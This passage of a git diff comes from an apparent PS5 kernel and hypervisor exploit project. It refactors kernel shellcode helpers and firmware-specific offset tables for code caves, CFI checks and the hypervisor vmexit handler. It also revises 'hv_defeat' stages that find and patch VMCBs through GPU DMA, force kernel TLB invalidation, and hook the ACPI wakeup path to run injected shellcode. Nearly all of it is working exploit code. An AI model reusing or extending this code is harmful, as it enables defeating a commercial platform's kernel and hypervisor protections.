uint8_t *msg) { uint32_t max = 255; int ret = 0; @@ -89,3 +84,32 @@ __attribute__((noinline, optimize("O0"))) int puts_uart(uint64_t dmap, const uin return ret; } + +void activate_uart(volatile shellcode_kernel_args *args_ptr) { + uint32_t *uart_va = (uint32_t *)(args_ptr->dmap_base + 0xC0115110ULL); + *uart_va &= ~0x200; + uint32_t *override_char_va = (uint32_t *)args_ptr->kernel_uart_override; + *override_char_va = 0x0; +} + +void halt(void) { __asm__ __volatile__("hlt"); } + +void init_global_pointers(volatile shellcode_kernel_args *args_ptr) { + memcpy(&args, (void *)args_ptr, sizeof(args)); + + printf = (void (*)(const char *, ...))args.fun_printf; + smp_rendezvous = (void (*)(void (*)(void), void (*)(void), void (*)(void), + void *))args.fun_smp_rendezvous; + smp_no_rendevous_barrier = (void (*)(void))args.fun_smp_no_rendevous_barrier; + + transmitter_control = (int (*)(int, void *))args.fun_transmitter_control; + mp3_initialize = (int (*)(int))args.fun_mp3_initialize; + mp3_invoke = (int (*)(int, void *, void *))args.fun_mp3_invoke; + g_vbios = args.g_vbios; +} + +void vmmcall_dummy(void) { + __asm__ volatile("mov $0x1, %rax \n" + "vmmcall \n" + "ret \n"); +} \ No newline at end of file diff --git a/shellcode_kernel/utils.h b/shellcode_kernel/utils.h index 7ab3c4c..c9f0269 100644 --- a/shellcode_kernel/utils.h +++ b/shellcode_kernel/utils.h @@ -1,11 +1,18 @@ #ifndef UTILS_H #define UTILS_H +#include "boot_linux.h" #include "shellcode_kernel_args.h" #include extern void (*printf)(const char *format, ...); -uint64_t PHYS_TO_DMAP(uint64_t pa); -void memcpy(void *dest, void *src, uint64_t len); +extern void (*smp_rendezvous)(void (*setup_func)(void), + void (*action_func)(void), + void (*teardown_func)(void), void *arg); +extern void (*smp_no_rendevous_barrier)(void); +extern int (*transmitter_control)(int cmd, void *control); +extern int (*mp3_initialize)(int vmid); +extern int (*mp3_invoke)(int cmd_id, void *req, void *rsp); +extern uint64_t g_vbios; // Defines for Page management enum page_bits { @@ -36,9 +43,14 @@ enum page_bits { #define P_SIZE(l) ((l == 1) ? (1ULL << 30) : (1ULL << 21)) uint64_t read_cr3(void); -uint64_t va_to_pa_kernel(uint64_t va); -uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom); +uint64_t vtophys(uint64_t dmap, uint64_t va); +uint64_t vtophys_custom(uint64_t dmap, uint64_t va, uint64_t cr3_custom); +uint64_t PHYS_TO_DMAP(uint64_t pa); +void memcpy(void *dest, void *src, uint64_t len); uint32_t putc_uart(uint64_t dmap, uint8_t tx_byte); int puts_uart(uint64_t dmap, const uint8_t *msg); - +void activate_uart(volatile shellcode_kernel_args *args_ptr); +void halt(void); +void init_global_pointers(volatile shellcode_kernel_args *args_ptr); +void vmmcall_dummy(void); #endif diff --git a/source/gpu.c b/source/gpu.c index b2a5b18..ef0418d 100644 --- a/source/gpu.c +++ b/source/gpu.c @@ -352,7 +352,7 @@ int gpu_init_internal(void) { DEBUG_PRINT("[gpu] cmd_va = 0x%lx\n", s_gpu.cmd_va); // Step 3: Get the physical address of the victim buffer - s_gpu.victim_real_pa = va_to_pa_user(s_gpu.victim_va); + s_gpu.victim_real_pa = vtophys_user(s_gpu.victim_va); DEBUG_PRINT("[gpu] victim_real_pa = 0x%lx\n", s_gpu.victim_real_pa); // Step 4: Walk GPU page tables to find the PTE for the victim buffer @@ -413,7 +413,7 @@ int gpu_test(void) { // Test 1: Read a known kernel .data value via GPU DMA and compare uint64_t test_va = (uint64_t)KERNEL_ADDRESS_DATA_BASE; - uint64_t test_pa = va_to_pa_kernel(test_va); + uint64_t test_pa = vtophys(test_va); DEBUG_PRINT("[gpu] Test target: VA=0x%lx PA=0x%lx\n", test_va, test_pa); uint64_t kernel_val = kernel_getlong(test_va); @@ -430,7 +430,7 @@ int gpu_test(void) { } // Test 2: Write and read-back test - uint64_t test_write_pa = va_to_pa_user(s_gpu.transfer_va + 0x100000); + uint64_t test_write_pa = vtophys_user(s_gpu.transfer_va + 0x100000); uint64_t magic = 0xDEADBEEFCAFEBABEULL; DEBUG_PRINT("[gpu] Write test: PA=0x%lx val=0x%lx\n", test_write_pa, magic); diff --git a/source/hv_defeat.c b/source/hv_defeat.c index 9002120..c400cdc 100644 --- a/source/hv_defeat.c +++ b/source/hv_defeat.c @@ -80,14 +80,6 @@ no_ok: int stage2_find_vmcbs(void) { DEBUG_PRINT("\nHV-defeat [stage2] vmcb discovery\n"); - uint64_t vcpu_off = env_offset.HV_VCPU; - uint64_t stride = env_offset.HV_VCPU_CPUID; - // Testing direct VMCB on 04.03 - if ((!vcpu_off || !stride) && fw < 0x0300) { - DEBUG_PRINT(" missing HV_VCPU offsets for fw 0x%04x\n", fw); - return -1; - } - for (int c = 0; c < 16; c++) { vmcb_pa[c] = get_vmcb(c); DEBUG_PRINT(" core %02d: pa=0x%016lx\n", c, vmcb_pa[c]); @@ -96,9 +88,6 @@ int stage2_find_vmcbs(void) { return 0; } -// Only valid for 3.xx and 4.xx -// 1.xx and 2.xx have dynamic page alloc for VMCB -// TODO: add 1.xx and 2.xx logic uint64_t get_vmcb(int core) { switch (fw) { case 0x0300: @@ -123,7 +112,7 @@ int iommu_selftest(void) { DEBUG_PRINT("\n[iommu] self-test\n"); uint64_t scratch = 0xAAAAAAAABBBBBBBBULL; - uint64_t scratch_pa = va_to_pa_user((uint64_t)&scratch); + uint64_t scratch_pa = vtophys_user((uint64_t)&scratch); if (!scratch_pa || scratch_pa >= 0x100000000ULL) { DEBUG_PRINT(" bad scratch PA 0x%016lx\n", scratch_pa); @@ -159,16 +148,6 @@ int stage3_patch_vmcbs(void) { DEBUG_PRINT(" vmcb[%2d] patched (pa=0x%016lx)\n", i, pa); - // uint64_t vmcb_00 = gpu_read_phys8(pa + 0x00); - // uint64_t vmcb_08 = gpu_read_phys8(pa + 0x08); - // uint64_t vmcb_10 = gpu_read_phys8(pa + 0x10); - // uint64_t vmcb_58 = gpu_read_phys8(pa + 0x58); - // uint64_t vmcb_90 = gpu_read_phys8(pa + 0x90); - - // printf("Values read from VMCB: %016lx %016lx %016lx %016lx %016lx\n", - // vmcb_00, vmcb_08, vmcb_10, vmcb_58, vmcb_90 - // ); - usleep(1000); } @@ -243,21 +222,17 @@ int stage6_kernel_pmap_invalidate_all(void) { static uint64_t two_zero_pages[PAGE_SIZE * 2] = {0}; int pipe_fds[2]; - // set O_NONBLOCK to avoid PIPE_DIRECTW + if (pipe2(pipe_fds, O_NONBLOCK)) { return -1; } - // the pipe starts off as 1 page large - we need to write into the pipe so it - // will grow to BIG_PIPE_SIZE we need to make sure pmap_invalidate_all doesnt - // use the one page fast path if (write(pipe_fds[1], two_zero_pages, PAGE_SIZE * 2) < 0) { close(pipe_fds[0]); close(pipe_fds[1]); return -1; } - // dont need this anymore close(pipe_fds[1]); uint64_t read_fd_file_data = kernel_get_proc_file(-1, pipe_fds[0]); @@ -276,17 +251,11 @@ int stage6_kernel_pmap_invalidate_all(void) { return -1; } - // inside pmap_remove anyvalid has to be 1 for pmap_invalidate_all to be - // called anyvalid is only set if there is at least 1 non global entry being - // removed set the first entry as non global, its being removed anyway so its - // fine (?) if (!page_remove_global(read_fd_buffer)) { close(pipe_fds[0]); return -1; } - // fd 0 is read end, it holds the buffer, this close is what does the - // pmap_invalidate_all because pmap == kernel_pmap, it will do invltlb_glob close(pipe_fds[0]); return 0; } diff --git a/source/loader.c b/source/loader.c index eab9c35..00e1cbf 100644 --- a/source/loader.c +++ b/source/loader.c @@ -28,7 +28,7 @@ uint64_t alloc_page(void) { // Fault it to force physical allocation *(uint8_t *)page = 0; - return va_to_pa_user((uintptr_t)page); + return vtophys_user((uintptr_t)page); } void install_page(uintptr_t pml4, vm_offset_t va, vm_paddr_t pa, int bits) { @@ -273,12 +273,12 @@ int fetch_linux(struct linux_info *info) { for (int i = 0; i < bzimage_size; i += PAGE_SIZE) { install_page(syscore_pml4, info->bzimage + i, - va_to_pa_user((uintptr_t)bzimage + i), 0); + vtophys_user((uintptr_t)bzimage + i), 0); } for (int i = 0; i < initrd_size; i += PAGE_SIZE) { install_page(syscore_pml4, info->initrd + i, - va_to_pa_user((uintptr_t)initrd + i), 0); + vtophys_user((uintptr_t)initrd + i), 0); } return 0; diff --git a/source/main.c b/source/main.c index b33327e..4613ee3 100644 --- a/source/main.c +++ b/source/main.c @@ -1,8 +1,8 @@ -#include -#include "utils.h" #include "hv_defeat.h" -#include "prepare_resume.h" #include "loader.h" +#include "prepare_resume.h" +#include "utils.h" +#include int main(void) { if (setup_env()) { diff --git a/source/offsets.c b/source/offsets.c index 6a6f397..b58d57d 100644 --- a/source/offsets.c +++ b/source/offsets.c @@ -1,298 +1,235 @@ #include "offsets.h" offset_list off_0300 = { - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, .IOMMU_SOFTC = 0x33175E0, .VMSPACE_VM_VMID = 0x1E4, .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, .DATA_BASE_GVMSPACE = 0x06423F80, .HOOK_ACPI_WAKEUP_MACHDEP = 0x0390E73, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, .FUN_PRINTF = 0x048B9A0, - .FUN_VA_TO_PA = 0x0831410, .FUN_HV_IOMMU_SET_BUFFERS = 0x0B33E20, .FUN_HV_IOMM_WAIT_COMPLETION = 0x0B33D50, .FUN_SMP_RENDEZVOUS = 0x0A3E850, .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x0287E50, - .HV_HANDLE_VMEXIT_PA = 0x6282CBCB, .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, + .HV_HANDLE_VMEXIT_PA = 0x6282CBCB, + .KERNEL_UART_OVERRIDE = 0x1EB0258, + .KERNEL_DEBUG_PATCH = 0x0752460, + .KERNEL_CFI_CHECK = 0x0441DD0, .G_VBIOS = 0x0734B5D0, .FUN_TRANSMITTER_CONTROL = 0x0B2A560, .FUN_MP3_INITIALIZE = 0x0953890, .FUN_MP3_INVOKE = 0x0952670, - .KERNEL_UART_OVERRIDE = 0x1EB0258, - .KERNEL_DEBUG_PATCH = 0x0752460, - .KERNEL_CFI_CHECK = 0x0441DD0, .PS5_WIFI_FW_OFFSET = 0x1274460, .PS5_WIFI_FW_SIZE = 492304, }; offset_list off_0310 = { - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, .IOMMU_SOFTC = 0x33175E0, .VMSPACE_VM_VMID = 0x1E4, .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, .DATA_BASE_GVMSPACE = 0x06423F80, .HOOK_ACPI_WAKEUP_MACHDEP = 0x0390EB3, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, .FUN_PRINTF = 0x048B9E0, - .FUN_VA_TO_PA = 0x0831450, .FUN_HV_IOMMU_SET_BUFFERS = 0x0B33E60, .FUN_HV_IOMM_WAIT_COMPLETION = 0x0B33D90, .FUN_SMP_RENDEZVOUS = 0x0A3E890, .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x0287EA8, - .HV_HANDLE_VMEXIT_PA = 0x6282CBCB, .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, + .HV_HANDLE_VMEXIT_PA = 0x6282CBCB, + .KERNEL_UART_OVERRIDE = 0x1EB0258, + .KERNEL_DEBUG_PATCH = 0x07524A0, + .KERNEL_CFI_CHECK = 0x0441E10, .G_VBIOS = 0x0734B5D0, .FUN_TRANSMITTER_CONTROL = 0x0B2A5A0, .FUN_MP3_INITIALIZE = 0x09538D0, .FUN_MP3_INVOKE = 0x09526B0, - .KERNEL_UART_OVERRIDE = 0x1EB0258, - .KERNEL_DEBUG_PATCH = 0x07524A0, - .KERNEL_CFI_CHECK = 0x0441E10, .PS5_WIFI_FW_OFFSET = 0x1274490, .PS5_WIFI_FW_SIZE = 492304, }; offset_list off_0320 = { - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, .IOMMU_SOFTC = 0x33175E0, .VMSPACE_VM_VMID = 0x1E4, .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, .DATA_BASE_GVMSPACE = 0x06423F80, .HOOK_ACPI_WAKEUP_MACHDEP = 0x391203, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, .FUN_PRINTF = 0x48BD30, - .FUN_VA_TO_PA = 0x8317A0, .FUN_HV_IOMMU_SET_BUFFERS = 0xB34320, .FUN_HV_IOMM_WAIT_COMPLETION = 0xB34250, .FUN_SMP_RENDEZVOUS = 0xA3ED50, .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x288230, - .HV_HANDLE_VMEXIT_PA = 0x6282CBCB, .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, + .HV_HANDLE_VMEXIT_PA = 0x6282CBCB, + .KERNEL_UART_OVERRIDE = 0x1EB0258, + .KERNEL_DEBUG_PATCH = 0x7527F0, + .KERNEL_CFI_CHECK = 0x442160, .G_VBIOS = 0x734B5D0, .FUN_TRANSMITTER_CONTROL = 0xB2AA60, .FUN_MP3_INITIALIZE = 0x953D30, .FUN_MP3_INVOKE = 0x952B10, - .KERNEL_UART_OVERRIDE = 0x1EB0258, - .KERNEL_DEBUG_PATCH = 0x7527F0, - .KERNEL_CFI_CHECK = 0x442160, .PS5_WIFI_FW_OFFSET = 0x1274550, .PS5_WIFI_FW_SIZE = 492304, }; offset_list off_0321 = { - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, .IOMMU_SOFTC = 0x33175E0, .VMSPACE_VM_VMID = 0x1E4, .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, .DATA_BASE_GVMSPACE = 0x06423F80, .HOOK_ACPI_WAKEUP_MACHDEP = 0x391203, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, .FUN_PRINTF = 0x48BD30, - .FUN_VA_TO_PA = 0x8317A0, .FUN_HV_IOMMU_SET_BUFFERS = 0xB34320, .FUN_HV_IOMM_WAIT_COMPLETION = 0xB34250, .FUN_SMP_RENDEZVOUS = 0xA3ED50, .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x288250, - .HV_HANDLE_VMEXIT_PA = 0x6282CBCB, .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, + .HV_HANDLE_VMEXIT_PA = 0x6282CBCB, + .KERNEL_UART_OVERRIDE = 0x1EB0258, + .KERNEL_DEBUG_PATCH = 0x7527F0, + .KERNEL_CFI_CHECK = 0x442160, .G_VBIOS = 0x734B5D0, .FUN_TRANSMITTER_CONTROL = 0xB2AA60, .FUN_MP3_INITIALIZE = 0x953D30, .FUN_MP3_INVOKE = 0x952B10, - .KERNEL_UART_OVERRIDE = 0x1EB0258, - .KERNEL_DEBUG_PATCH = 0x7527F0, - .KERNEL_CFI_CHECK = 0x442160, .PS5_WIFI_FW_OFFSET = 0x1274550, .PS5_WIFI_FW_SIZE = 492304, }; offset_list off_0400 = { - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, .IOMMU_SOFTC = 0x33C7680, .VMSPACE_VM_VMID = 0x1E4, .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, .DATA_BASE_GVMSPACE = 0x064C3F80, .HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613, .FUN_PRINTF = 0x4A3240, - .FUN_VA_TO_PA = 0x85ADC0, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, .FUN_HV_IOMMU_SET_BUFFERS = 0xB638F0, .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63830, .FUN_SMP_RENDEZVOUS = 0xA6C920, .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x295488, - .HV_HANDLE_VMEXIT_PA = 0x6282B45D, .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, + .HV_HANDLE_VMEXIT_PA = 0x6282B45D, + .KERNEL_UART_OVERRIDE = 0x1F522A8, + .KERNEL_DEBUG_PATCH = 0x77DA70, + .KERNEL_CFI_CHECK = 0x45A170, .G_VBIOS = 0x72B7630, .FUN_TRANSMITTER_CONTROL = 0xB5AD50, .FUN_MP3_INITIALIZE = 0x9805C0, .FUN_MP3_INVOKE = 0x97F3E0, - .KERNEL_UART_OVERRIDE = 0x1F522A8, - .KERNEL_DEBUG_PATCH = 0x77DA70, - .KERNEL_CFI_CHECK = 0x45A170, .PS5_WIFI_FW_OFFSET = 0x1392FB0, .PS5_WIFI_FW_SIZE = 493000, }; offset_list off_0402 = { - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, .IOMMU_SOFTC = 0x33C7680, .VMSPACE_VM_VMID = 0x1E4, .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, .DATA_BASE_GVMSPACE = 0x064C3F80, .HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, .FUN_PRINTF = 0x4A3240, - .FUN_VA_TO_PA = 0x85AE10, .FUN_HV_IOMMU_SET_BUFFERS = 0xB63950, .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63890, .FUN_SMP_RENDEZVOUS = 0xA6C970, .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x29A018, - .HV_HANDLE_VMEXIT_PA = 0x6282B45D, .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, + .HV_HANDLE_VMEXIT_PA = 0x6282B45D, + .KERNEL_UART_OVERRIDE = 0x1F522A8, + .KERNEL_DEBUG_PATCH = 0x77DAC0, + .KERNEL_CFI_CHECK = 0x45A170, .G_VBIOS = 0x72B7630, .FUN_TRANSMITTER_CONTROL = 0xB5ADA0, .FUN_MP3_INITIALIZE = 0x980610, .FUN_MP3_INVOKE = 0x97F430, - .KERNEL_UART_OVERRIDE = 0x1F522A8, - .KERNEL_DEBUG_PATCH = 0x77DAC0, - .KERNEL_CFI_CHECK = 0x45A170, .PS5_WIFI_FW_OFFSET = 0x1392FB0, .PS5_WIFI_FW_SIZE = 493000, }; offset_list off_0403 = { - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, .IOMMU_SOFTC = 0x33C7680, .VMSPACE_VM_VMID = 0x1E4, .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, .DATA_BASE_GVMSPACE = 0x064C3F80, .HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, .FUN_PRINTF = 0x4A3240, - .FUN_VA_TO_PA = 0x85AEA0, .FUN_HV_IOMMU_SET_BUFFERS = 0xB639F0, .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63930, .FUN_SMP_RENDEZVOUS = 0xA6CA00, .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299F20, - .HV_HANDLE_VMEXIT_PA = 0x6282B45D, .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, + .HV_HANDLE_VMEXIT_PA = 0x6282B45D, + .KERNEL_UART_OVERRIDE = 0x1F522A8, + .KERNEL_DEBUG_PATCH = 0x77DB50, + .KERNEL_CFI_CHECK = 0x45A170, .G_VBIOS = 0x72B7630, .FUN_TRANSMITTER_CONTROL = 0xB5AE30, .FUN_MP3_INITIALIZE = 0x9806A0, .FUN_MP3_INVOKE = 0x97F4C0, - .KERNEL_UART_OVERRIDE = 0x1F522A8, - .KERNEL_DEBUG_PATCH = 0x77DB50, - .KERNEL_CFI_CHECK = 0x45A170, .PS5_WIFI_FW_OFFSET = 0x1392FB0, .PS5_WIFI_FW_SIZE = 493000, }; offset_list off_0450 = { - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, .IOMMU_SOFTC = 0x33C7680, .VMSPACE_VM_VMID = 0x1E4, .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, .DATA_BASE_GVMSPACE = 0x064C3F80, .HOOK_ACPI_WAKEUP_MACHDEP = 0x03A75E3, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, .FUN_PRINTF = 0x04A3270, - .FUN_VA_TO_PA = 0x85AFF0, .FUN_HV_IOMMU_SET_BUFFERS = 0xB63BB0, .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63AF0, .FUN_SMP_RENDEZVOUS = 0xA6CBB0, .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299FC0, - .HV_HANDLE_VMEXIT_PA = 0x6282B45D, .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, + .HV_HANDLE_VMEXIT_PA = 0x6282B45D, + .KERNEL_UART_OVERRIDE = 0x1F522A8, + .KERNEL_DEBUG_PATCH = 0x77DC80, + .KERNEL_CFI_CHECK = 0x45A1A0, .G_VBIOS = 0x72B7630, .FUN_TRANSMITTER_CONTROL = 0xB5AFF0, .FUN_MP3_INITIALIZE = 0x980850, .FUN_MP3_INVOKE = 0x97F670, - .KERNEL_UART_OVERRIDE = 0x1F522A8, - .KERNEL_DEBUG_PATCH = 0x77DC80, - .KERNEL_CFI_CHECK = 0x45A1A0, .PS5_WIFI_FW_OFFSET = 0x1392FC0, .PS5_WIFI_FW_SIZE = 493000, }; offset_list off_0451 = { - .HV_VCPU_ARRAY_OFF = 0x5D0, - .HV_VCPU_STRIDE = 0x320, - .HV_VCPU_VMCB_PTR = 0x08, - .KERNEL_CODE_CAVE = 0x500, - .KERNEL_DATA_CAVE = 0xC01300, .IOMMU_SOFTC = 0x33C7680, .VMSPACE_VM_VMID = 0x1E4, .VMSPACE_VM_PMAP = 0x1D0, - .PMAP_PM_PML4 = 0x020, - .PMAP_PM_CR3 = 0x028, .DATA_BASE_GVMSPACE = 0x64C3F80, .HOOK_ACPI_WAKEUP_MACHDEP = 0x3A75E3, + .KERNEL_CODE_CAVE = 0x500, + .KERNEL_DATA_CAVE = 0xC01300, .FUN_PRINTF = 0x4A3270, - .FUN_VA_TO_PA = 0x85B390, .FUN_HV_IOMMU_SET_BUFFERS = 0xB63FE0, .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63F20, .FUN_SMP_RENDEZVOUS = 0xA6CFE0, .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299FA8, - .HV_HANDLE_VMEXIT_PA = 0x6282B45D, .HV_CODE_CAVE_PA = 0x62806F00, - .HV_UART_OVERRIDE_PA = 0x62800008, + .HV_HANDLE_VMEXIT_PA = 0x6282B45D, + .KERNEL_UART_OVERRIDE = 0x1F522A8, + .KERNEL_DEBUG_PATCH = 0x77DC90, + .KERNEL_CFI_CHECK = 0x45A1A0, .G_VBIOS = 0x72B7630, .FUN_TRANSMITTER_CONTROL = 0xB5B420, .FUN_MP3_INITIALIZE = 0x980BF0, .FUN_MP3_INVOKE = 0x97FA10, - .KERNEL_UART_OVERRIDE = 0x1F522A8, - .KERNEL_DEBUG_PATCH = 0x77DC90, - .KERNEL_CFI_CHECK = 0x45A1A0, .PS5_WIFI_FW_OFFSET = 0x1393000, .PS5_WIFI_FW_SIZE = 493000, }; diff --git a/source/prepare_resume.c b/source/prepare_resume.c index 04685aa..a8da9bb 100644 --- a/source/prepare_resume.c +++ b/source/prepare_resume.c @@ -1,11 +1,11 @@ -#include -#include #include "prepare_resume.h" -#include "iommu.h" #include "../shellcode_kernel/shellcode_kernel.h" #include "../shellcode_kernel/shellcode_kernel_args.h" +#include "iommu.h" #include "offsets.h" #include "utils.h" +#include +#include int prepare_resume(void) { @@ -25,7 +25,7 @@ int prepare_resume(void) { kwrite_large(dest_text, shellcode_kernel_bin, shellcode_kernel_bin_len); prepare_sck_args(dest_data); - if(update_sck_data_ptr(shellcode_kernel_bin, dest_text, dest_data)) + if (update_sck_data_ptr(shellcode_kernel_bin, dest_text, dest_data)) return -1; hook_call_near(ktext + env_offset.HOOK_ACPI_WAKEUP_MACHDEP, dest_text); @@ -36,7 +36,7 @@ int prepare_resume(void) { return 0; } -int update_sck_data_ptr (void* sc, uint64_t dest_text, uint64_t dest_data) { +int update_sck_data_ptr(void *sc, uint64_t dest_text, uint64_t dest_data) { // Find the address 0x11AA11AA11AA11AA used as marker int offset = -1; for (int i = 0; i < 0x40; i++) { @@ -55,7 +55,8 @@ int update_sck_data_ptr (void* sc, uint64_t dest_text, uint64_t dest_data) { void hook_call_near(uint64_t hook, uint64_t dst) { int64_t diff_call = dst - hook; - uint8_t new_instr[5]; new_instr[0] = 0xE8; + uint8_t new_instr[5]; + new_instr[0] = 0xE8; *((uint32_t *)&new_instr[1]) = (int32_t)(diff_call - 5); kernel_copyin(new_instr, hook, 5); DEBUG_PRINT("Instruction patched\n"); @@ -63,13 +64,12 @@ void hook_call_near(uint64_t hook, uint64_t dst) { void prepare_sck_args(uint64_t dest_data) { shellcode_kernel_args args; - args.fw_version = kernel_get_fw_version() & 0xFFFF0000; + args.fw_version = fw; args.ktext = ktext; args.kdata = kdata; args.dmap_base = dmap; args.fun_printf = ktext + env_offset.FUN_PRINTF; - args.fun_va_to_pa = ktext + env_offset.FUN_VA_TO_PA; args.fun_hv_iommu_set_buffers = ktext + env_offset.FUN_HV_IOMMU_SET_BUFFERS; args.fun_hv_iommu_wait_completion = ktext + env_offset.FUN_HV_IOMM_WAIT_COMPLETION; @@ -91,7 +91,6 @@ void prepare_sck_args(uint64_t dest_data) { args.kernel_uart_override = ktext + env_offset.KERNEL_UART_OVERRIDE; args.hv_handle_vmexit_pa = env_offset.HV_HANDLE_VMEXIT_PA; args.hv_code_cave_pa = env_offset.HV_CODE_CAVE_PA; - args.hv_uart_override_pa = env_offset.HV_UART_OVERRIDE_PA; args.linux_info_va = linux_i.linux_info; diff --git a/source/utils.c b/source/utils.c index 1923a13..638a412 100644 --- a/source/utils.c +++ b/source/utils.c @@ -29,7 +29,7 @@ int setup_env(void) { } int set_offsets(void) { - fw = kernel_get_fw_version() >> 16; + fw = (kernel_get_fw_version() >> 0x10) & 0xFFFF; if (fw == 0) return -1; switch (fw) { @@ -92,18 +92,18 @@ uint64_t getpmap(uint64_t proc) { } // for ring3 -uint64_t va_to_pa_user(uint64_t va) { +uint64_t vtophys_user(uint64_t va) { uintptr_t self_pmap = getpmap(kernel_get_proc(getpid())); uintptr_t self_pml4 = get_pml4(self_pmap); - uint64_t pa = va_to_pa_custom(va, self_pml4 & 0xFFFFFFFF); + uint64_t pa = vtophys_custom(va, self_pml4 & 0xFFFFFFFF); return pa; } // for ring0 -uint64_t va_to_pa_kernel(uint64_t va) { return va_to_pa_custom(va, cr3); } +uint64_t vtophys(uint64_t va) { return vtophys_custom(va, cr3); } // Source: PS5_kldload -uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom) { +uint64_t vtophys_custom(uint64_t va, uint64_t cr3_custom) { uint64_t table_phys = cr3_custom & 0xFFFFFFFF; for (int level = 0; level < 4; level++) {